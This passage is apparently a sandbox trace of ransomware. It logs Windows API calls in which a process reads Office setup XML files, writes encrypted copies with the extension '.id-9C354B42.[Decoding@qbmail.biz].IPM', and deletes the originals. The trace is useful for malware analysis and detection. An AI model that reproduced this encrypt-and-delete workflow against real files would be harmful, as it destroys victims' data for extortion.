Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.388] lstrlenW (lpString=".zip") returned 4 [0086.388] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.388] lstrlenW (lpString=".rar") returned 4 [0086.388] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.388] lstrlenW (lpString=".bz2") returned 4 [0086.388] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.388] lstrlenW (lpString=".7z") returned 3 [0086.388] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.388] lstrlenW (lpString=".dbf") returned 4 [0086.388] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.388] lstrlenW (lpString=".1cd") returned 4 [0086.388] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML") returned 104 [0086.388] lstrlenW (lpString=".jpg") returned 4 [0086.388] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.388] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.388] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0086.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0086.389] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1450) returned 1 [0086.389] CloseHandle (hObject=0x1d0) returned 1 [0086.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0086.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0086.390] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.390] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.390] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0086.400] GetLastError () returned 0x0 [0086.400] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x5aa, lpOverlapped=0x0) returned 1 [0086.728] WriteFile (in: hFile=0x1f8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0086.730] ReadFile (in: hFile=0x1d0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0086.730] WriteFile (in: hFile=0x1f8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf4, lpOverlapped=0x0) returned 1 [0086.731] SetEndOfFile (hFile=0x1f8) returned 1 [0086.731] CloseHandle (hObject=0x1f8) returned 1 [0086.736] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.736] SetEndOfFile (hFile=0x1d0) returned 1 [0086.738] CloseHandle (hObject=0x1d0) returned 1 [0086.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.738] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0086.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.739] lstrlenW (lpString=".doc") returned 4 [0086.739] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.739] lstrlenW (lpString=".docx") returned 5 [0086.739] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0086.739] lstrlenW (lpString=".pdf") returned 4 [0086.739] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.739] lstrlenW (lpString=".xls") returned 4 [0086.739] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.739] lstrlenW (lpString=".xlsx") returned 5 [0086.739] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0086.739] lstrlenW (lpString=".ppt") returned 4 [0086.739] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.739] lstrlenW (lpString=".zip") returned 4 [0086.739] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.739] lstrlenW (lpString=".rar") returned 4 [0086.739] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.740] lstrlenW (lpString=".bz2") returned 4 [0086.740] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.740] lstrlenW (lpString=".7z") returned 3 [0086.740] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.740] lstrlenW (lpString=".dbf") returned 4 [0086.740] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.740] lstrlenW (lpString=".1cd") returned 4 [0086.740] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.740] lstrlenW (lpString=".jpg") returned 4 [0086.740] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.740] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.740] lstrlenW (lpString=".doc") returned 4 [0086.740] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.740] lstrlenW (lpString=".docx") returned 5 [0086.740] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0086.740] lstrlenW (lpString=".pdf") returned 4 [0086.741] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.741] lstrlenW (lpString=".xls") returned 4 [0086.741] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.741] lstrlenW (lpString=".xlsx") returned 5 [0086.741] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0086.741] lstrlenW (lpString=".ppt") returned 4 [0086.741] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.741] lstrlenW (lpString=".zip") returned 4 [0086.741] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.741] lstrlenW (lpString=".rar") returned 4 [0086.741] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.741] lstrlenW (lpString=".bz2") returned 4 [0086.741] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.741] lstrlenW (lpString=".7z") returned 3 [0086.741] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.741] lstrlenW (lpString=".dbf") returned 4 [0086.741] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.741] lstrlenW (lpString=".1cd") returned 4 [0086.741] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0086.742] lstrlenW (lpString=".jpg") returned 4 [0086.742] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.742] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.742] lstrlenW (lpString="VisioMUI.XML") returned 12 [0086.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0086.802] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=9503) returned 1 [0086.802] CloseHandle (hObject=0x1bc) returned 1 [0086.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0086.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0086.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0086.803] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.803] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.803] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0086.834] GetLastError () returned 0x0 [0086.834] ReadFile (in: hFile=0x1bc, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x251f, lpOverlapped=0x0) returned 1 [0086.841] WriteFile (in: hFile=0x1c0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x2520, lpOverlapped=0x0) returned 1 [0086.843] ReadFile (in: hFile=0x1bc, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0086.843] WriteFile (in: hFile=0x1c0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xec, lpOverlapped=0x0) returned 1 [0086.843] SetEndOfFile (hFile=0x1c0) returned 1 [0086.843] CloseHandle (hObject=0x1c0) returned 1 [0086.845] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0086.846] SetEndOfFile (hFile=0x1bc) returned 1 [0086.847] CloseHandle (hObject=0x1bc) returned 1 [0086.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0086.848] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0086.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.848] lstrlenW (lpString=".doc") returned 4 [0086.848] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.848] lstrlenW (lpString=".docx") returned 5 [0086.848] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0086.848] lstrlenW (lpString=".pdf") returned 4 [0086.848] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.848] lstrlenW (lpString=".xls") returned 4 [0086.848] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.848] lstrlenW (lpString=".xlsx") returned 5 [0086.848] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0086.848] lstrlenW (lpString=".ppt") returned 4 [0086.849] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.849] lstrlenW (lpString=".zip") returned 4 [0086.849] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.849] lstrlenW (lpString=".rar") returned 4 [0086.849] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.849] lstrlenW (lpString=".bz2") returned 4 [0086.849] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.849] lstrlenW (lpString=".7z") returned 3 [0086.849] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.849] lstrlenW (lpString=".dbf") returned 4 [0086.849] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.849] lstrlenW (lpString=".1cd") returned 4 [0086.849] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.849] lstrlenW (lpString=".jpg") returned 4 [0086.849] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.850] lstrlenW (lpString=".doc") returned 4 [0086.850] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString=".docx") returned 5 [0086.850] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0086.850] lstrlenW (lpString=".pdf") returned 4 [0086.850] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString=".xls") returned 4 [0086.850] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString=".xlsx") returned 5 [0086.850] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0086.850] lstrlenW (lpString=".ppt") returned 4 [0086.850] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.850] lstrlenW (lpString=".zip") returned 4 [0086.850] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0086.850] lstrlenW (lpString=".rar") returned 4 [0086.850] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString=".bz2") returned 4 [0086.850] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0086.850] lstrlenW (lpString=".7z") returned 3 [0086.851] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0086.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.851] lstrlenW (lpString=".dbf") returned 4 [0086.851] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0086.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.851] lstrlenW (lpString=".1cd") returned 4 [0086.851] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0086.851] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0086.851] lstrlenW (lpString=".jpg") returned 4 [0086.851] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0086.851] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0086.851] lstrlenW (lpString="WordMUI.XML") returned 11 [0086.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0087.314] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=1800) returned 1 [0087.314] CloseHandle (hObject=0x204) returned 1 [0087.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0087.314] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0087.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0087.314] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0087.314] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0087.314] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0087.327] GetLastError () returned 0x0 [0087.327] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x708, lpOverlapped=0x0) returned 1 [0088.196] WriteFile (in: hFile=0x1d0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x710, lpOverlapped=0x0) returned 1 [0088.198] ReadFile (in: hFile=0x204, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0088.198] WriteFile (in: hFile=0x1d0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0088.198] SetEndOfFile (hFile=0x1d0) returned 1 [0088.199] CloseHandle (hObject=0x1d0) returned 1 [0088.200] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0088.200] SetEndOfFile (hFile=0x204) returned 1 [0088.202] CloseHandle (hObject=0x204) returned 1 [0088.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0088.203] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0088.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.203] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.203] lstrlenW (lpString=".doc") returned 4 [0088.203] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0088.203] lstrlenW (lpString=".docx") returned 5 [0088.203] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0088.203] lstrlenW (lpString=".pdf") returned 4 [0088.203] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0088.203] lstrlenW (lpString=".xls") returned 4 [0088.203] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0088.204] lstrlenW (lpString=".xlsx") returned 5 [0088.204] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0088.204] lstrlenW (lpString=".ppt") returned 4 [0088.204] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0088.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.204] lstrlenW (lpString=".zip") returned 4 [0088.204] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0088.204] lstrlenW (lpString=".rar") returned 4 [0088.204] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0088.204] lstrlenW (lpString=".bz2") returned 4 [0088.204] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0088.204] lstrlenW (lpString=".7z") returned 3 [0088.204] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0088.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.204] lstrlenW (lpString=".dbf") returned 4 [0088.204] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0088.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0088.204] 